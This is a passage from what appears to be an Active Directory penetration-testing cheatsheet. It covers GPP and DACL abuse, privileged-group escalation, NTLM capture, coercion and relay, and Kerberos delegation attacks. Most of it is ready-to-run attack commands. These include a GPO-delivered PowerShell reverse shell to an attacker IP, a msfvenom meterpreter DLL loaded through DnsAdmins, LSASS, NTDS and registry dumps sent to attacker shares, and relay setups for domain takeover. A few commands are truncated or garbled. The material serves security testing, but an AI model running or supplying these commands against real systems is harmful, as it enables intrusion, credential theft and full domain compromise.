    1. A GPP is configured to add a "Name-Only" member in UPN format: `existingusr@domain.local`.
    2. A user named `existingusr` already exists in the domain with this UPN.
2. `sAMAccountName` modification:
    1. The attacker changes the `sAMAccountName` of `low_priv` to match the UPN exactly: `existingusr@domain.local` (this format is permitted for a UPN).

```
bloodyAD --host <DC_IP> -u "priv_usr" -p password set object
"CN=low_priv,CN=Users,DC=domain,DC=local" sAMAccountName -v "existingusr@domain.local"
```

3. GPO replication:
    1. During resolution, **`LsaLookupNames` first searches for an exact match in the `sAMAccountName` field, before the UPN**.
    2. Result: `low_priv` is added to the `Administrators` group instead of `existingusr`.

GPP processus variables

1. A GPP is linked to an OU containing the WS computer and adds `%DomainName%\%ComputerName%_adm` (i.e. `DOMAIN\WS_adm`) to the `Administrators` group.
2. The attacker checks that `WS_adm` does not exist:

```
bloodyAD --host <DC_IP> -u "priv_usr" -p password get object "WS_adm"
```

3. The attacker changes the `sAMAccountName` of `low_priv` to match `WS_adm`:

```
bloodyAD --host <DC_IP> -u "priv_usr" -p password set object
"CN=low_priv,CN=Users,DC=domain,DC=local" sAMAccountName -v "WS_adm"
```

4. Result: The next time GPP is applied, `low_priv` is added to the `Administrators` group on the WS machine.

DACLs attacks

DACLs packages

- **Owns object**
    - WriteDacl
- **GenericAll**
    - GenericWrite
    - AllExtendedRights
    - WriteOwner

- **GenericWrite**
  - Self
  - WriteProperty
- **AllExtendedRights**
  - User-Force-Change-Password
  - DS-Replication-Get-Changes
  - DS-Replication-Get-Changes-All
  - DS-Replication-Get-Changes-In-Filtered-Set

On any objects

WriteOwner

With this rights on a user it is possible to become the "owner" (**Grant Ownership**) of the account and then change our ACLs against it

```
owneredit.py -new-owner user1 -target user2 -dc-ip <DC_IP> -action write
'domain.local'/'user1':'password'
dacledit.py -action write -target user2 -principal user1 -rights ResetPassword -ace-type
allowed -dc-ip <DC_IP> 'domain.local'/'user1':'password'

#And change the password
net rpc password user2 -U 'domain.local'/'user1'%'password' -S DC.domain.local
```

WriteDacl

With this rights we can modify our ACLs against the target, and give us **GenericAll** for example

```
dacledit.py -action write -target user2 -principal user1 -rights FullControl -ace-type
allowed -dc-ip <DC_IP> 'domain.local'/'user1':'password'
```

In case where you have the right against a container or an OU, it is possible to setup the **Inheritance** flag in the ACE. The child objects will inherite the parent container/OU ACE (except if the object has `AdminCount=1`)

```
dacledit.py -inheritance -action write -target 'CN=Users,DC=domain,DC=local' -principal user1
-rights FullControl -ace-type allowed -dc-ip <DC_IP> 'domain.local'/'user1':'password'
```

On an user

WriteProperty

- ShadowCredentials

```
pywhisker.py -t user2 -a add -u user1 -p password -d domain.local -dc-ip <DC_IP> --filename user2
```

- Targeted Kerberoasting

We can then request a ST without special privileges. The ST can then be "**Kerberoasted**".

```
GetUserSPNs.py -request-user user2 -dc-ip <DC_IP> domain.local/user1:password
```

New SPN must be unique in the domain

```
#Set SPN on all the possible users, request the ticket and delete the SPN
targetedKerberoast.py -u user1 -p password -d domain.local --only-abuse
```

User-Force-Change-Password

With enough permissions on a user, we can change his password

```
net rpc password user2 -U 'domain.local'/'user1'%'password'  -S DC.domain.local
```

On a computer

WriteProperty

- ShadowCredentials

```
pywhisker.py -t computer$ -a add -u user1 -p password -d domain.local -dc-ip <DC_IP> --filename user2
```

- Kerberos RBCD

AllExtendedRights

- ReadLAPSPassword

```
nxc ldap <DC_IP> -u user1 -p password -M laps -o computer="<target>"
```

- ReadGMSAPassword

```

```

```
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> gmsa
```

On a RODC

GenericWrite

- Obtain local admin access

Change the `managedBy` attribute value and add a controlled user. He will automatically gain admin rights.

- Retrieve Tiers 0 account's NT hashes

It is possible to modify the `msDS-NeverRevealGroup` and `msDS-RevealOnDemandGroup` lists on the RODC to allow Tiers 0 accounts to authenticate, and then forge RODC Golden Tickets for them to access other parts of the AD.

```
powerview domain.local/user1:Password123@RODC-server.domain.local

#First, add a domain admin account to the msDS-RevealOnDemandGroup attribute
#Then, append the Allowed RODC Password Replication Group group
PV > Set-DomainObject -Identity RODC-server$ -Set msDS-
RevealOnDemandGroup='CN=Administrator,CN=Users,DC=domain,DC=local'
PV > Set-DomainObject -Identity RODC-server$ -Append msDS-RevealOnDemandGroup='CN=Allowed
RODC Password Replication Group,CN=Users,DC=domain,DC=local'

#If needed, remove the admin from the msDS-NeverRevealGroup attribute
PV > Set-DomainObject -Identity RODC-server$ -Clear msDS-NeverRevealGroup
```

WriteProperty

WriteProperty on the `msDS-NeverRevealGroup` and `msDS-RevealOnDemandGroup` lists is sufficient to modify them. Obtain the `krbtgt_XXXXX` key is still needed to forge RODC Golden Ticket.

```
powerview domain.local/user1:Password123@RODC-server.domain.local

#First, add a domain admin account to the msDS-RevealOnDemandGroup attribute
#Then, append the Allowed RODC Password Replication Group group
PV > Set-DomainObject -Identity RODC-server$ -Set msDS-
RevealOnDemandGroup='CN=Administrator,CN=Users,DC=domain,DC=local'
PV > Set-DomainObject -Identity RODC-server$ -Append msDS-RevealOnDemandGroup='CN=Allowed
RODC Password Replication Group,CN=Users,DC=domain,DC=local'
```

```
#If needed, remove the admin from the msDS-NeverRevealGroup attribute
PV > Set-DomainObject -Identity RODC-server$ -Clear msDS-NeverRevealGroup
```

On a group

WriteProperty/AllExtendedRights/GenericWrite Self

With one of this rights we can add a new member to the group

```
net rpc group addmem <group> user2 -U domain.local/user1%password -S <DC_IP>
```

On a GPO

WriteProperty on a GPO

- We can update a GPO with a scheduled task for example to obtain a reverse shell

```
./pygpoabuse.py domain.local/user1 -hashes lm:nt -gpo-id "<GPO_ID>" -powershell -command
"\$client = New-Object System.Net.Sockets.TCPClient('attacker_IP',1234);\$stream =
\$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0,
\$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-
String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte =
([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\
-taskname "The task" -description "Important task" -user
```

- Create a local admin

```
./pygpoabuse.py domain.local/user1 -hashes lm:nt -gpo-id "<GPO_ID>"
```

Manage Group Policy Links

Whith this right or `GenericWrite` on a GPO we can manipulate its `gPLink` attribute in order to apply an evil GPO to all the children of a descendant OU, even the ones with `adminCount=1`.

All the explains about this attack are presented here. The attack will defer if the final target is a user or a machine account.

Machine

- Create a new Windows Server virtual machine connected to the network and install the

domain controler features on it. Register it under a subdomain of the current domain (`evil.domain.local`)
- Create an empty GPO on this DC
- Reset the machine account password (to remove the unprintable characters)

```
Reset-ComputerMachinePassword
```

- Stop the antivirus and dump the LSASS to retrieve the password

```
lsassy -d 'evil.domain.local' -u administrator -p password <evil_DC_IP>
```

- Create a new computer account on the target domain with a `LDAP` SPN and the same password as the created DC

```
python3 addcomputer_LDAP_spn.py -computer-name EVIL -computer-pass <DC_PASS>
'domain.local'/user1:password
```

- Create a new DNS record on the target domain to point the evil subdomain to the attacker machine

```
python3 dnstool.py -u 'domain.local\user1' -p password -r 'evil' -a add -d <attacker_IP>
<DC_IP>
```

- Configure the OUned.py tool with the following example. The `[SMB]` section must be setup to `embedded` and just a share name
- Run OUned.py

```
sudo python3 OUned.py --config config.ini
```

User

- Similarly, create an evil domain controler and a computer account with a `LDAP` SPN
- Create a second evil DC with the same domain as the target domain (`domain.local`). As the first evil DC, reset and retrieve its password
- Create a new SMB share on the second evil DC

```
New-SmbShare -Name "evil" -Path "C:\Evil"
Grant-SmbShareAccess -Name "evil" -AccountName "DOMAIN.LOCAL\administrator" -AccessRight Full
```

- Create a new computer account on the target domain with the `HOST` SPN and add a DNS record resolving this machine to the attacker IP

```
python3 addcomputer.py -method LDAPS -computer-name EVIL2 -computer-pass <DC2_PASS>
'domain.local'/user1:password
python3 dnstool.py -u 'domain.local\user1' -p password -r 'evil2' -a add -d <attacker_IP>
<DC_IP>
```

- Configure the OUned.py tool with the following example. The `[SMB]` section must be setup to `forwarded` with the other information setup
- Run OUned.py

```
sudo python3 OUned.py --config config.ini
```

On an OU

GenericWrite

With at least **GenericWrite** on an OU, it it possible to perform the same attacks presented in the GPO section with **Manage Group Policy Links**.

Create msDS-DelegatedManagedServiceAccount or Create all child objects

This is the BadSuccessor attack, presented in great details here. At least one Domain Controller must be a Windows Server 2025 to perform this attack (this permits to work with dMSA accounts).

```
# Find users with sufficient privileges on OUs with NetExec
nxc ldap <DC_IP> -u user1 -p password -M badsuccessor

# Enumerate and exploit with BadSuccessor.py
# Enumerate schema
python3 badsuccessor.py -u user1 -p password -d domain.local --check-schema
# Find ALL writable OUs with detailed permissions
python3 badsuccessor.py -u user1 -p password -d domain.local --enumerate
# Attack with Administrator privs inheritance
python3 badsuccessor.py -u user1 -p password -d domain.local --attack --target Administrator
--ou-dn <OU_DN> --dmsa-description "Pentest"
# Extract credentials from the tickets' key package
python3 badsuccessor.py -u user1 -p password -d domain.local  --extract-creds --targets
Administrator,krbtgt,svc_sql
```

On the domain/forest

DS-Replication-Get-Changes + DS-Replication-Get-Changes-All

We can **DCSync**

DS-Replication-Get-Changes + DS-Replication-Get-Changes-In-Filtered-Set

It is possible to realize a **DirSync** attack, as presented here. This attack is presented in the Active Directory cheatsheet.

Account Operators

The members of this group can add and modify all the non admin users and groups. Since **LAPS ADM** and **LAPS READ** are considered as non admin groups, it's possible to add an user to them, and read the LAPS admin password. They also can manage the **Server Operators** group members which can authenticate on the DC.

Another possibility, is to configure an AORTA attack, presented in this section.

Add user to LAPS groups

```
net rpc group addmem 'LAPS ADM' user2 -U domain.local/user1%password -S <DC_IP>
net rpc group addmem 'LAPS READ' user2 -U domain.local/user1%password -S <DC_IP>
```

Read LAPS password

```
nxc ldap <DC_IP> -u user2 -p password -M laps -o computer="<target>"
```

DnsAdmins

- It is possible for the members of the DNSAdmins group to load arbitrary DLL with the privileges of dns.exe (SYSTEM).
- In case the DC also serves as DNS, this will provide us escalation to DA.
- Need privileges to restart the DNS service.

```
#Generate the DLL
```

```
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker_IP> LPORT=1234 -f dll
> rev.dll

#On the DNS machine, modify the server conf
nxc smb <target> -u user1 -p password -X "dnscmd.exe /config /serverlevelplugindll
\\<share_SMB>\rev.dll"

#### Restart DNS
services.py 'domain.local'/'user1':'password'@<DNS_server> stop dns
services.py 'domain.local'/'user1':'password'@<DNS_server> start dns
```

Schema Admins

These group members can change the "*schema*" of the AD. It means they can change the ACLs on the objects that will be created **IN THE FUTUR**. If we modify the ALCs on the group object, only the futur group will be affected, not the ones that are already present.

This attack is presented in the Active Directory cheatsheet.

Backup Operators

Can *generally* log in on any machines of the domain.

File system backup

Can backup the **entire file system** of a machine (DC included) and have full read/write rights on the backup.

To backup a folder content:

```
nxc smb <target> -u user1 -p password -X "robocopy /B C:\Users\Administrator\Desktop\
C:\tmp\tmp.txt /E"
```

To backup with **Diskshadow + Robocopy**:

- Create a `script.txt` file to backup with Diskshadow and upload it on the target

```
set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
```

```
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E: X
end backupX
```

- Backup with `diskshadow /s script.txt` in the `netexec` command parameter
- Retrieve the backup with **robocopy** and send the NTDS file in the current folder : `robocopy /b E:\Windows\ntds . ntds.dit` (still with NXC)
- Then retrieve the SYSTEM registry hive to decrypt and profit `reg save hklm\system c:\temp\system` (always)

Or, to do everything automatically:

```
nxc smb <DC_IP> -u user1 -p password -M backup_operator
```

Registry read rights

The **Backup Operators** can read all the machines registry

```
reg.py -dc-ip <DC_IP> 'domain.local'/'backup$':'Password123'@server.domain.local query -
keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon'

#Backup the SAM, SECURITY and SYSTEM registry keys
reg.py -dc-ip <DC_IP> 'domain.local'/'backup$':'Password123'@server.domain.local backup -o
\\<attacker_IP>\share
```

GPOs read/write rights

Normally the **Backup Operators** can read and rights all the domain and DC GPOs with **robocopy** in **backup** mode

- Found the interesting GPO with `Get-NetGPO` . For example **Default Domain Policy** in the Domain Controller policy
- Get the file at the path `\\dc.domain.local\SYSVOL\domain.local\Policies\{GPO_ID}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf` and add whatever you want in it
- Write the file with **robocopy**:

```
nxc smb <target> -u user1 -p password -X 'robocopy "C:\tmp"
"\\dc.domain.local\SYSVOL\domain.local\Policies\{GPO_ID}\MACHINE\Microsoft\Windows
```

```
NT\SecEdit" GptTmpl.inf /ZB'
```

Key Admins

Members of this group can perform Shadow Credentials attacks against any objects, including the domain controllers.

AD Recycle Bin

Members of this group can recover deleted objects from the Active Directory, just like in a recycle bin for files, when the feature is enabled. These objects can sometimes have interesting properties.

This attacke is presented in the Active Directory cheatsheet.

Authentication capture, coerce and relay

Capture, coerce and leak

Different ways to obtain and catch NTLM authentications and retrieve a NTLM response.

Responder

Change the authentication challenge to `1122334455667788` in the Responder conf file in order to obtain an easily crackable hash if **NTLMv1** is used.

```
sed -i 's/ Random/ 1122334455667788/g' Responder/Responder.conf
```

Catch all the possible hashes on the network (coming via LLMNR, NBT-NS, DNS spoofing, etc):

```
# Responder with WPAD injection, Proxy-Auth, DHCP, DHCP-DNS and verbose
responder -I interface_to_use -wPdDv
```

With enough privileges on a machine, NTLMv1 can be detected like this:

```
```

```
nxc smb <target> -u user1 -p password -M ntlmv1
```

Force NTLM downgrade to NTLMv1 (will break the authentications if v1 is disabled on the machine):

```
# --disable-ess will disable the SSP, not always usefull
responder -I interface_to_use -wdDv --lm --disable-ess
```

NTLMv1 response can be cracked on crash.sh (we miss you guy).

Leak Files

With write rights on a SMB share, it is possible to drop a `.lnk` or `.scf` file to grab some user hashes:

```
nxc smb <target> -u user1 -p password -M slinky -o SERVER=<attacker_SMB_share_IP> -o
NAME=<file_name>
nxc smb <target> -u user1 -p password -M scuffy -o SERVER=<attacker_SMB_share_IP> -o
NAME=<file_name>
#To clean
nxc smb <target> -u user1 -p password -M slinky -o CLEANUP=True
nxc smb <target> -u user1 -p password -M scuffy -o CLEANUP=True
```

MITM6

Spoof DHCPv6 responses to provide evil DNS config. Usefull to combine with NTLM or Kerberos Relay attacks. Here for an NTLM relay:

```
mitm6 -i interface_to_use -d domain.local -hw target.domain.local -v
```

Here for a Kerberos relay to ADCS:

```
mitm6 -i interface_to_use -d domain.local -hw target.domain.local --relay CA.domain.local -v
```

PetitPotam / PrinterBug / ShadowCoerce / DFSCoerce / CheeseOunce

Exploits to coerce Net-NTLM authentication from a computer. **PetitPotam** can be used without any credentials if no patch has been installed.

```
#PetitPotam
```

```
./petitpotam.py -u user1 -p password -d domain.local -pipe all <attacker_IP> <target_IP>

#PrinterBug
./dementor.py -u user1 -p password -d domain.local <attacker_IP> <target_IP>

#ShadowCoerce
./shadowcoerce.py -u user1 -p password -d domain.local <attacker_IP> <target_IP>

#DFSCoerce
./dfscoerce.py -u user1 -d domain.local <listener_IP> <target_IP>

#CheeseOunce via MS-EVEN
./cheese.py domain.local/user1:password@<target> <listener_IP>
```

Multi coerce

Try all the techniques above in one command with this.

```
coercer.py coerce -u user1 -p password -d domain.local -t <target_IP> -l <attacker_IP> -v
```

PrivExchange

Coerce Exchange server authentication via **PushSubscription** (now patched):

```
python3 privexchange.py -ah <attacker_IP> <Exchange_server> -u user1 -p password -d
domain.local
```

MSSQL Server

With xp_dirtree.

WebClient Service

If this service runs on the target machine, a SMB authentication can be switched into an HTTP authentication (really useful for NTLM relay).

Check if WebClient is running on machines:

```
webclientservicescanner domain.local/user1:password@<IP_range>
```

If yes, coerce the authentication to the port 80 on the attacker IP. To bypass trust zone restriction,

the attacker machine must be specified with a valid **NETBIOS name** and not its IP. The **NETBIOS name** can be obtained with Responder in Analyze mode, or by adding a DNS record in the ADIDNS.

```
#Responder technique
responder -I interface_to_use -A

#ADIDNS technique
python3 dnstool.py -u "domain.local\user1" -p "password" -a add -r "attacker.domain.local" -d
<attacker_IP> <DNS_IP>

#Coerce with PetitPotam for example
./petitpotam.py -u user1 -p password -d domain.local -pipe all "attacker_NETBIOS@80/test.txt"
<target_IP>
```

Otherwise, it's possible to force an HTTP authentication with a LLMNR poisoning by changing the error code returned.

```
#With Responder + smbserver
  #Start smbserver in a first terminal with authentication required
python3 smbserver.py $NAME . -smb2support -username notexist -password notexist
  #Start Responder in a second terminal
responder --interface "eth0"

#Or only with Responder
responder --interface "eth0" -E
```

NTLM and Kerberos relay

SMB without signing

Create a list of computer without SMB signing:

```
nxc smb <IP_range> --gen-relay-list list.txt
```

ntlmrelayx

If only SMBv2 is supported, `-smb2support` can be used. To attempt the remove the MIC if **NTLMv2** is vulnerable to **CVE-2019-1040**, `--remove-mic` can be used. **Also useful with NTLMv1**.

Multiple targets can be specified with `-tf list.txt`.

- Enumeration

```
#With attempt to dump possible GMSA and LAPS passwords, and ADCS templates
ntlmrelayx.py -t ldap://dc --dump-adcs --dump-laps --dump-gmsa --no-da --no-acl
```

- SOCKS

```
ntlmrelayx.py -t smb://target -socks
ntlmrelayx.py -t mssql://target -socks
ntlmrelayx.py -t ldaps://target -socks
```

- Creds dump

```
ntlmrelayx.py -t smb://target
```

- DCSync if the target in vulnerable to Zerologon

```
ntlmrelayx.py -t dcsync://dc
```

- Privesc

Add an user to **Enterprise Admins**.

```
ntlmrelayx.py -t ldap://dc --escalate-user user1 --no-dump
```

- Create a computer account

```
#Create a new computer account through LDAPS
ntlmrelayx.py -t ldaps://dc_IP --add-computer --no-dump --no-da --no-acl

#Create a new computer account through LDAP with StartTLS
ntlmrelayx.py -t ldap://dc_IP --add-computer --no-dump --no-da --no-acl

#Create a new computer account through SMB through the SAMR named pipe
(https://github.com/SecureAuthCorp/impacket/pull/1290)
ntlmrelayx.py -t smb://dc_IP --smb-add-computer EVILPC
```

- Kerberos Delegation

Kerberos RBCD are detailled in the following section.

```
#Create a new computer account through LDAPS and enabled RBCD
ntlmrelayx.py -t ldaps://dc_IP --add-computer --delegate-access --no-dump --no-da --no-acl

#Create a new computer account through LDAP with StartTLS and enabled RBCD
ntlmrelayx.py -t ldap://dc_IP --add-computer --delegate-access --no-dump --no-da --no-acl

#Doesn't create a new computer account and use an existing one
ntlmrelayx.py -t ldap://dc_IP --escalate-user <controlled_computer> --delegate-access --no-
dump --no-da --no-acl
```

- Shadow Credentials

```
ntlmrelayx.py -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'
```

- From a mitm6 authent

```
#Attempts to open a socks and write loot likes dumps into a file
ntlmrelayx.py -tf targets.txt -wh attacker.domain.local -6 -l loot.txt -socks
```

- Targeting GPO

Attack GPO from an unauthenticated point of view (by intercepting a NTLM authentication) cannot be performed only through LDAP, since the Group Policy Template needs to be modified via SMB.

Read this article to better understand.

First, use ntlmrelayx to obtain full rights on the GPC via LDAP for a controlled account (or create a new one)

```
ntlmrelayx -t ldaps://<DC_IP> -wh '<attacker_IP>:8080' --http-port '80,8080' -i

#When relay is successful, use nc to obtain a LDAP shell
nc 127.0.0.1 11000
add_computer ATTACKER Password123
write_gpo_dacl ATTACKER$ {<GPO_ID>}
```

Then, modify the GPO with the controlled account

```
python3 gpoddity.py --gpo-id '<GPO_ID>' --domain 'domain.local' --username 'ATTACKER$' --
```

```
password 'Password123' --command '<command_to_execute>' --rogue-smbserver-ip '<attacker_IP>'
--rogue-smbserver-share 'evil'
```

- Relay to WinRMs

If **NTLMv1 is enabled** on the source server and accepted by the target, and the target server exposes the WinRMs service (over HTTPS), without forcing CBT. Use this PR.

```
#Perform the relay
ntlmrelayx -t winrms://target.domain.local -smb2support

#Use the opened WinRMs shell
nc 127.0.0.1 11000
```

- CVE-2025-33073
- ADCS ESC8 & 11
- SCCM primary site takeover

krbrelayx

- To relay authentication from a mitm6 DNS spoofing to ADCS:

```
krbrelayx.py --target http://CA.domain.local/certsrv -ip <attacker_IP> --victim target$ --
adcs --template Machine
```

- Kerberos relay over SMB

All explains here.

First, register the specific DNS record:

```
dnstool.py -u "domain\\user1" -p "password" -r
"$ADCS_NETBIOS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" -d "attacker_IP" --action add
"DC_IP" --tcp
```

Then, coerce the target to the registered record, with PetitPotam for example, and relay:

```
Petitpotam.py -d domain.local -u user1 -p password
"<ADCS_netbios>1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" dc.domain.local
```

```
krbrelayx.py -t 'http://<ADCS_netbios>.domain.local/certsrv/certfnsh.asp' --adcs --template
DomainController -v 'dc$'
```

- Kerberos relay to unsigned SMB

If the relayed authentication is privileged, this will dump the SAM and LSA:

```
krbrelayx.py -t smb://target.domain.local
```

- Kerberos relay from multicast poisoning

When a web server requests Kerberos authentication, it does not use the destination URL to determine the SPN for which an ST is to be retrieved, but rather the response name of the DNS response. Nominally, these two elements should coincide. The client accesses a login URL, performs the DNS query for the server's FQDN, then performs the ST request from the DNS response, and constructs the `AP-REQ`. Explains here.

```
#Responder with -N to spoof the answer name returned by LLMNR responses
#<target_netbios> is the server that will receive the relay, for example the PKI
responder -I eth0 -N <target_netbios>

#Krbrelayx to actually perform the Kerberos relay, for example to the PKI
krbrelayx.py --target 'http://CA/certsrv/' -ip <attacker_IP> --adcs --template User
```

- CVE-2025-33073 - Kerberos Reflective relay

Permits to relay a SMB authentication from a machine to itself, with SYSTEM privileges thanks to Local NTLM authentication. SMB signing must not be enforced.

```
dnstool.py -u 'domain.local\user1' -p password -a add -r
$TARGET_NETBIOS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d <attacker_IP> <DC_IP>
# Or, to target any computer
dnstool.py -u 'domain.local\user1' -p password -a add -r
localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d <attacker_IP> <DC_IP>
```

Modify `krbrelayx.py` to only provide Kerberos, and not NTLM, to ensure that NTLM will not be negociate.

```
File: krbrelayx/lib/servers/smbrelayserver.py
156:          blob['tokenOid'] = '1.3.6.1.5.5.2'
157:          blob['innerContextToken']['mechTypes'].extend([MechType(TypesMech['KRB5 -
```

```
Kerberos 5']),
158:                                                    MechType(TypesMech['MS KRB5 -
Microsoft Kerberos 5']),
159:                                                    MechType(TypesMech['NTLMSSP -
Microsoft NTLM Security Support Provider'])])
```

```
PetitPotam.py -u user1 -p password -d domain.local
$TARGET_NETBIOS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA TARGET.DOMAIN.LOCAL
krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
```

krbjack

A tool to perform DNS updates thanks to the `ZONE_UPDATE_UNSECURE` flag in the DNS configuration. Perform a MiTM between any client and a target machine by changing its DNS resolution, forward all the packets to the specified ports, and steal the `AP_REQ` packets on the fly to reuse them.

The port list is really **important** and must match all the open ports on the target to perform all thge forward. If not, a DOS will occure since clients will not be able to reach the services.

- MiTM and exec an executable on the target (SMB signing must be not required)

```
krbjack --target-name <target> --domain domain.local --dc-ip <DC_IP> --ports
<port1,port2,port3,...> --executable <executable.exe>
```

- Just perform DNS poisoning **without** port forwarding and use the MiTM with ntlmrelayx. Be careful with the DOS risk

```
krbjack --target-name <target> --domain domain.local --dc-ip <DC_IP>
ntlmrelayx.py -t <target_IP> -smb2support
```

Kerberos Delegations

Kerberos delegations can be used for local privesc, lateral movement or domain privesc. The main purpose of Kerberos delegations is to permit a principal to access a service on behalf of another principal.

There are two main types of delegation:

- **Unconstrained Delegation**: the first hop server can request access to any service on any computer

- **Constrained Delegation**: the first hop server has a list of service it can request

Unconstrained delegation

- A user request a TGT to the DC
- The user requests a ST for a service on a computer which is in Unconstrained Delegation
- The DC places user's TGT inside ST. When presented to the server with unconstrained delegation, the TGT is extracted from ST and stored in **LSASS**. This way the server can reuse the user's TGT to access any other resource as the user
- This behavior can be abused by extracting the TGT from the previous users stored in LSASS

Enumerate principals with Unconstrained Delegation

Works for computers and users

```
findDelegation.py -dc-ip <DC_IP> domain.local/user1:password


#For another domain across trust
findDelegation.py -target-domain <target_domain> domain.local/user1:password
```

Unconstrained Delegation attack

If we have enough rights against a principal (computer or user) in UD to add a **SPN** on it and **know its password**, we can try to use it to retrieve a machine account password from an authentication coercion.

- Add a new DNS record on the domain that point to our IP
- Add a SPN on the principal that point to the DNS record and change its password (will be usefull for the tool `krbrelayx.py` to extract the TGT from the ST)
- Trigger the authentication and grab the ST (and TGT in it) on **krbrelayx** that is listenning for it

Since the principal is in **Unconstrained Delegation**, when the machine account will send the **ST** to the SPN it will automatically add a **TGT** in it, and because the SPN is pointing to us with the DNS record, we can retrieve the ST, decipher the ciphered part with the user password (the SPN is setup on the user, so the ST is ciphered with his password), and retrieve the TGT.

```
#Add the SPN
python3 addspn.py -u 'domain.local\user1' -p 'password' -s 'HOST/attacker.domain.local' -t
'target.domain.local' --additional <DC_IP>
```

```
#Create the DNS record
python3 dnstool.py -u 'domain.local\user1' -p 'password' -r 'attacker.domain.local' -d
'<attacker_IP>' --action add <DC_IP>

#Run krbrelayx with the hash of the password of the principal
python3 krbrelayx.py -hashes :2B576ACBE6BCFDA7294D6BD18041B8FE -dc-ip dc.domain.local

#Trigger the coercion
./petitpotam.py -u user1 -p password -d domain.local -pipe all "attacker.domain.local"
<target_IP>
```

Constrained delegation

In this situation, the computer in delegation has a list of services where it can delegate an authentication. This is controlled by `msDS-AllowedToDelegateTo` attribute that contains a list of SPNs to which the user tokens can be forwarded. No ticket is stored in LSASS.

To impersonate the user, Service for User (S4U) extension is used which provides two extensions:

- Service for User to Self (**S4U2self**) - Allows a service to obtain a forwardable ST to itself on behalf of a user with just the user principal name without supplying a password. The service account must have the **TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION** – T2A4D UserAccountControl attribute.
- Service for User to Proxy (**S4U2proxy**) - Allows a service to obtain a ST to a second service on behalf of a user.

Enumerate users and computers with CD enabled

```
findDelegation.py -dc-ip <DC_IP> domain.local/user1:password

#For another domain across trust
findDelegation.py -target-domain <target_domain> domain.local/user1:password
```

With protocol transition

Any service can be specified on the target since it is not correctly checked.

```
getST.py -spn 'cifs/target.domain.local' -impersonate administrator -hashes
':<computer_NThash>' -dc-ip <DC_IP> domain.local/computer
export KRB5CCNAME=./Administrator.ccache
```

Without protocol transition

In this case, it is not possible to use **S4U2self** to obtain a forwardable ST for a specific user. This restriction can be bypassed with an RBCD attack detailled in the following section.

Resource-based constrained delegation

Wagging the Dog

With RBCD, this is the resource machine (the machine that receives delegation) which has a list of services that can delegate to it. This list is specified in the attribute `msds-allowedtoactonbehalfofotheridentity` and the computer can modified its own attribute (really usefull in NTLM relay attack scenario).

Requirements

- The DC has to be at least a **Windows Server 2012**
- Write rights on the target machine (**GenericAll, GenericWrite, AllExtendedRights**)
- Target computer object must not have the attribute `msds-allowedtoactonbehalfofotheridentity` set

Enumerate users and computers with RBCD enabled

```
findDelegation.py -dc-ip <DC_IP> domain.local/user1:password

#For another domain across trust
findDelegation.py -target-domain <target_domain> domain.local/user1:password

#Check the attribute on an account
rbcd.py -action read -delegate-to ServiceB$ domain.local/user1:password
```

Standard RBCD

The attaker has compromised ServiceA and want to compromise ServiceB. Additionnally he has sufficient rights to configure `msds-allowedtoactonbehalfofotheridentity` on ServiceB.

```
#Add RBCD from ServiceA to ServiceB
rbcd.py -action write -delegate-from ServiceA$ -delegate-to ServiceB$
domain.local/user1:password
```

```
#Verify property
rbcd.py -action read -delegate-to ServiceB$ domain.local/user1:password

#Get ServiceA TGT and then S4U
getST.py -spn 'cifs/serviceB.domain.local' -impersonate administrator -hashes
':<ServiceA_NThash>' -dc-ip <DC_IP> domain.local/ServiceA$
export KRB5CCNAME=./Administrator.ccache
```

With machine account creation

- Domain users can create some machines, `ms-ds-machineaccountquota` must not being to 0
- Add a fake machine account in the domain
- Add it the to `msds-allowedtoactonbehalfofotheridentity` attribute of the target machine

```
addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -domain-
netbios domain.local 'domain.local/user1:password'
rbcd.py -action write -delegate-from ControlledComputer$ -delegate-to ServiceB$
domain.local/ControlledComputer$:ComputerPassword
```

- Use the **S4USelf** function with the fake machine (on an arbitrary SPN) to create a forwardable ticket for a wanted user (not **protected**)
- Use the **S4UProxy** function to obtain a ST for the impersonated user for the wanted service on the target machine

```
getST.py -spn 'cifs/serviceB.domain.local' -impersonate administrator -dc-ip <DC_IP>
domain.local/ControlledComputer$:ComputerPassword
export KRB5CCNAME=./Administrator.ccache
```

Skip S4USelf

- Attacker has compromised Service A, has sufficient ACLs against Service B to configure RBCD, and wants to attack Service B
- By social engineering or any other solution, an interesting victim authenticates to Service A with a ST
- Attacker dumps the ST on Service A (`sekurlsa::tickets`)
- Attacker configures RBCD from Service A to Service B as above
- Attacker performs S4UProxy and bypass S4USelf by providing the ST as evidence

NOT TESTED IN MY LAB WITH IMPACKET

```
getST.py -spn 'cifs/serviceB.domain.local' -additional-ticket ./ticket.ccache -hashes
':<ServiceA_NThash>' -dc-ip <DC_IP> domain.local/ServiceA$
```

Reflective RBCD

With a TGT or the hash of a service account, an attacker can configure a RBCD from the service to itself, and run a full S4U to access to access the machine on behalf of another user.

```
rbcd.py -action write -delegate-from ServiceA$ -delegate-to ServiceA$ -k -no-pass
domain.local/ServiceA$
getST.py -spn 'cifs/serviceA.domain.local' -impersonate administrator -k -no-pass -dc-ip
<DC_IP> domain.local/ServiceA$
```

